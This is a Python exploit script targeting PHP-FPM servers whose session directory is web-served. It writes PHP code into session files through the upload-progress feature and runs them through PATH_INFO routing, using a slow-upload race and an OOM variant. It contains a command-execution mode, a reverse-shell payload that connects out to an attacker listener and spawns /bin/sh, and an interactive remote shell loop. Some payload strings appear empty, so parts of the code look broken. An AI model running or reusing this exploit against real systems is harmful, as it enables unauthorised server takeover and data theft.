#!/usr/bin/env python3 """ CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI ("served save_path" chain) Every other exploit in this repo needs an include() primitive in the application to execute the poisoned session file. This one does not. It turns the session upload progress write primitive into RCE using only PHP-FPM request routing: 1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into /sess_ during multipart parsing. This fires even on URLs that do not exist (404), because rfc1867 processing happens in the SAPI POST reader before script dispatch. No session_start(), no application code involved. 2. If session.save_path lives under a web-served directory, the session file is directly requestable over HTTP. 3. php-fpm executes the (extension-less) session file when the request carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php — the classic nginx cgi.fix_pathinfo routing. The only gate is security.limit_extensions, whose compiled default (.php .phar) blocks it but which is frequently set empty in real deployments. Verified both ways against php-fpm 8.5 (see nolfi/FINDINGS.md). 4. session.upload_progress.cleanup=1 (default) truncates the file when the upload finishes, so execution is raced against the upload window with a slow multipart body. With cleanup=0 the file persists and no race is needed. Preconditions (all defaults unless noted): - session.upload_progress.enabled=1 - PHP-FPM with session.save_path web-served - security.limit_extensions empty (non-default; common in the wild) - any PHP-handled URL on the vhost, including 404s Usage: python3 exploit_nolfi.py -t http://target/ --probe python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id' python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444 """ import argparse import io import os import re import socket import sys import threading import time MARKER = "NOLFIMARK" DEFAULT_URL_PREFIXES = [ "/sessions", "/tmp", "/var/lib/php/sessions", "/var/lib/php/session", "/var/lib/php5/sessions", "/sess", "/storage/sessions", "/files/sessions", ] # --------------------------------------------------------------------------- # HTTP helpers (raw sockets, same style as the other exploits) # --------------------------------------------------------------------------- def _parse_url(url: str): from urllib.parse import urlparse p = urlparse(url) tls = p.scheme == "https" host = p.hostname or "127.0.0.1" port = p.port or (443 if tls else 80) path = p.path or "/" if p.query: path += "?" + p.query return host, port, tls, path def _connect(host, port, tls, timeout=10): sock = socket.create_connection((host, port), timeout=timeout) if tls: import ssl ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE sock = ctx.wrap_socket(sock, server_hostname=host) return sock def _recv_response(sock, timeout=5): resp = b"" sock.settimeout(timeout) try: while True: chunk = sock.recv(8192) if not chunk: break resp += chunk if b"\r\n\r\n" in resp: hdr_end = resp.index(b"\r\n\r\n") + 4 m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I) if m: cl = int(m.group(1)) while len(resp) - hdr_end < cl: more = sock.recv(8192) if not more: break resp += more break if b"transfer-encoding: chunked" in resp[:hdr_end].lower(): if b"\r\n0\r\n" in resp[hdr_end:]: break except socket.timeout: pass return resp def _decode_chunked(data): out = b"" while data: line_end = data.find(b"\r\n") if line_end < 0: break try: n = int(data[:line_end].split(b";")[0].strip(), 16) except ValueError: break if n == 0: break out += data[line_end + 2:line_end + 2 + n] data = data[line_end + 2 + n + 2:] return out def _body_of(resp): if b"\r\n\r\n" not in resp: return b"" headers, body = resp.split(b"\r\n\r\n", 1) if b"transfer-encoding: chunked" in headers.lower(): return _decode_chunked(body) return body def _status_of(resp): try: return int(resp.split(b" ")[1]) except (IndexError, ValueError): return 0 def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False): sock = _connect(host, port, tls) req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n" if cookie: req += b"Cookie: " + cookie.encode() + b"\r\n" req += b"Connection: close\r\n\r\n" sock.sendall(req) resp = _recv_response(sock, timeout) sock.close() return _status_of(resp), _body_of(resp) # --------------------------------------------------------------------------- # Multipart slow upload (keeps the poisoned session file on disk) # --------------------------------------------------------------------------- def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20, drip=0.01, result=None): boundary = b"----NOLFI" + os.urandom(6).hex().encode() head = ( b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n' b"\r\n" + php_code + b"\r\n" b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" ) tail = b"\r\n--" + boundary + b"--\r\n" total = len(head) + fill + len(tail) try: sock = _connect(host, port, tls, timeout=60) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n" b"Content-Length: " + str(total).encode() + b"\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" + head ) block = b"\x00" * 65000 for _ in range(fill // len(block)): sock.sendall(block) time.sleep(drip) sock.sendall(tail) _recv_response(sock, timeout=5) sock.close() except OSError as e: if result is not None: result["error"] = str(e) def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000, fsize=512, result=None): """CVE-2026-109618 OOM variant: progress + file part + field flood. The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never runs and the poisoned session file persists. Requires the OOM body to fit under post_max_size while exceeding memory_limit headroom. """ boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode() def field(name, value): return (b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n' + value + b"\r\n") def file_part(): return (b"--" + boundary + b"\r\n" b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' b"Content-Type: application/octet-stream\r\n\r\n" + b"\x00" * 2048 + b"\r\n") def chunk(sock, data): sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n") sent = 0 try: sock = _connect(host, port, tls, timeout=60) sock.sendall( b"POST " + path.encode() + b" HTTP/1.1\r\n" b"Host: " + host.encode() + b"\r\n" b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n" b"Transfer-Encoding: chunked\r\n" b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n" b"Connection: close\r\n\r\n" ) chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code)) chunk(sock, file_part()) batch = b"" for i in range(fields): batch += field(f"p{i:06d}".encode(), b"X" * fsize) if len(batch) >= 256 * 1024: chunk(sock, batch) sent = i batch = b"" if batch: chunk(sock, batch) try: sock.sendall(b"0\r\n\r\n") _recv_response(sock, timeout=8) except OSError: pass sock.close() except OSError as e: if result is not None: result["error"] = str(e) if result is not None: result["fields_sent"] = sent # --------------------------------------------------------------------------- # Payloads # --------------------------------------------------------------------------- def cmd_payload(): return f''.encode() def reverse_shell_payload(lhost, lport): code = ( f'$s=fsockopen("{lhost}",{lport});' f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);' ) return f''.encode() # --------------------------------------------------------------------------- # Chain: poison -> probe served dir -> pathinfo execution # --------------------------------------------------------------------------- def attempt_prefix(host, port, tls, path, url_prefix, php_code, window, fill=1 << 25, verbose=True, oom=False, fields=30000, fsize=512): """One attempt against one URL prefix. Returns ("rce", sid, url, text) | ("served", sid, url, None) | None.""" sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \ os.urandom(12).hex() sess_url = f"{url_prefix}/sess_{sid}" cookie = f"PHPSESSID={sid}" exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml") if oom: result = {} if verbose: print(f" [*] OOM poisoning {sess_url} ...") oom_poison_upload(host, port, tls, path, sid, php_code, fields=fields, fsize=fsize, result=result) time.sleep(1.0) saw_static = False try: status, body = _get(host, port, tls, sess_url, cookie=None, timeout=5) if status == 200 and b"upload_progress_" in body: saw_static = True if verbose: print(f" [+] {sess_url} web-served, file persisted " f"(OOM bailout skipped cleanup)") except OSError: pass if saw_static: for path_info in exec_vectors: try: status, body = _get(host, port, tls, sess_url + path_info, timeout=6) text = body.decode(errors="replace") if MARKER in text: return ("rce", sid, sess_url + path_info, text) except OSError: continue return ("served", sid, sess_url, None) if verbose and result.get("error"): print(f" [!] upload error: {result['error']}") return None result = {} t = threading.Thread(target=slow_poison_upload, args=(host, port, tls, path, sid, php_code), kwargs={"result": result, "fill": fill}, daemon=True) t.start() time.sleep(0.5) deadline = time.time() + window saw_static = False exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml") while time.time() < deadline: # execution vectors first, raced against the (possibly tiny) window for path_info in exec_vectors: try: status, body = _get(host, port, tls, sess_url + path_info, timeout=3) text = body.decode(errors="replace") if MARKER in text: return ("rce", sid, sess_url + path_info, text) except OSError: continue # static: served-dir detection (source disclosure of the session file) try: status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3) if status == 200 and b"upload_progress_" in body: saw_static = True if verbose: print(f" [+] {sess_url} is web-served " f"(session file source disclosed)") break except OSError: pass time.sleep(0.005) t.join(timeout=3) # post-window calm checks: streaming stacks with cleanup=0 keep the file try: status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3) if status == 200 and b"upload_progress_" in body: saw_static = True if verbose: print(f" [+] {sess_url} is web-served (file persisted " f"after upload: cleanup=0)") except OSError: pass if saw_static: for path_info in exec_vectors: try: status, body = _get(host, port, tls, sess_url + path_info, timeout=4) text = body.decode(errors="replace") if MARKER in text: return ("rce", sid, sess_url + path_info, text) except OSError: continue if saw_static: return ("served", sid, sess_url, None) return None def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False, fields=30000, fsize=512): """Re-poison the same SID and execute a command during the window.""" sess_url = f"{url_prefix}/sess_{sid}" payload = f''.encode() hit = {} lock = threading.Lock() def poll(pi): while True: if stop.is_set(): return try: status, body = _get(host, port, tls, sess_url + pi + "?c=" + cmd.replace(" ", "+"), timeout=6) text = body.decode(errors="replace") if MARKER in text: with lock: if "out" not in hit: out = text.split(MARKER + ":", 1)[1] hit["out"] = out.split( '|a:5:{s:10:"start_time"', 1)[0] stop.set() return except OSError: continue if oom: result = {} oom_poison_upload(host, port, tls, path, sid, payload, fields=fields, fsize=fsize, result=result) stop = threading.Event() threads = [threading.Thread(target=poll, args=(pi,), daemon=True) for pi in ("/x.php", "/index.php")] for th in threads: th.start() for th in threads: th.join(timeout=10) return hit.get("out") result = {} for cycle in range(3 if not oom else 1): t = threading.Thread(target=slow_poison_upload, args=(host, port, tls, path, sid, payload), kwargs={"result": result}, daemon=True) t.start() time.sleep(0.3) stop = threading.Event() threads = [threading.Thread(target=poll, args=(pi,), daemon=True) for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")] for th in threads: th.start() grace = None while True: if stop.is_set(): break if not t.is_alive(): if grace is None: grace = time.time() + 1.5 elif time.time() > grace: break time.sleep(0.002) stop.set() for th in threads: th.join(timeout=3) if "out" in hit: return hit["out"] return None # --------------------------------------------------------------------------- # Main # --------------------------------------------------------------------------- def main(): p = argparse.ArgumentParser( description="CVE-2026-109618/109619: RCE without LFI " "(web-served session.save_path + php-fpm pathinfo)", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: %(prog)s -t http://target/ --probe %(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' %(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444 %(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20 """) p.add_argument("--target", "-t", required=True, help="Target base URL (any PHP-handled URL on the vhost, " "404 is fine)") p.add_argument("--url-prefix", default="", help="URL prefix that serves session.save_path " "(e.g. /sessions). Probes defaults if omitted") p.add_argument("--cmd", help="Command to execute") p.add_argument("--lhost", help="Listener IP for reverse shell") p.add_argument("--lport", type=int, help="Listener port for reverse shell") p.add_argument("--window", type=float, default=12.0, help="Upload race window in seconds (default 12)") p.add_argument("--fill", type=int, default=6, help="Upload filler size " "in MB; must stay under the target post_max_size (default " "6MB, PHP default post_max_size is 8M)") p.add_argument("--probe", action="store_true", help="Only classify the target, do not attack") p.add_argument("--oom", action="store_true", help="Use the CVE-2026-109618 OOM bailout for " "persistence instead of racing the upload window " "(requires post_max_size > OOM volume and memory " "headroom)") p.add_argument("--fields", type=int, default=30000, help="OOM pressure fields (default 30000)") p.add_argument("--fsize", type=int, default=512, help="OOM field size in bytes (default 512)") p.add_argument("--attempts", type=int, default=3) args = p.parse_args() host, port, tls, path = _parse_url(args.target) scheme = "https" if tls else "http" print(f"[*] RCE without LFI — served save_path + fpm pathinfo") print(f"[*] Target: {args.target}") prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES) fill = args.fill * (1 << 20) if args.probe: php_code = cmd_payload() print(f"[*] Probing {len(prefixes)} candidate URL prefixes " f"(web-served session dir detection)") for prefix in prefixes: r = attempt_prefix(host, port, tls, path, prefix, php_code, window=args.window, fill=fill, verbose=True, oom=args.oom, fields=args.fields, fsize=args.fsize) if r is None: print(f" [-] {prefix}: not served") else: kind, sid, url, text = r if kind == "rce": print(f" [++] {prefix}: EXECUTABLE — {url}") else: print(f" [+] {prefix}: served, not executable " f"(limit_extensions default or non-fpm engine)") return if not args.cmd and not (args.lhost and args.lport): print("[!] Specify --probe, --cmd, or --lhost/--lport") sys.exit(1) php_code = (cmd_payload() if args.cmd else reverse_shell_payload(args.lhost, args.lport)) if args.oom: print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B " f"fields)") else: print(f"[*] Race window: {args.window}s per prefix, " f"{len(prefixes)} prefixes") for attempt in range(1, args.attempts + 1): for prefix in prefixes: print(f"[*] Attempt {attempt}/{args.attempts} " f"against {prefix} ...") r = attempt_prefix(host, port, tls, path, prefix, php_code, window=args.window, fill=fill, verbose=True, oom=args.oom, fields=args.fields, fsize=args.fsize) if r is None: continue kind, sid, url, text = r if kind == "rce": print(f"\n[+] RCE CONFIRMED (no LFI): {url}") if args.cmd: out = run_cmd(host, port, tls, path, prefix, sid, args.cmd, oom=args.oom, fields=args.fields, fsize=args.fsize) print(f"[+] {args.cmd}\n{out}" if out is not None else "[!] exec failed (race lost, retry)") else: print(f"[*] Reverse shell payload executed — check " f"listener on {args.lhost}:{args.lport}") while True: try: c = input("shell> ").strip() except EOFError: break if not c: continue out = run_cmd(host, port, tls, path, prefix, sid, c, oom=args.oom, fields=args.fields, fsize=args.fsize) print(out if out is not None else "[!] exec failed") return print(f" [+] {prefix}: served but not executable " f"(session source disclosure only)") print("[!] No executable prefix found. Precondition likely missing: " "save_path not web-served, or security.limit_extensions is set.") if __name__ == "__main__": main()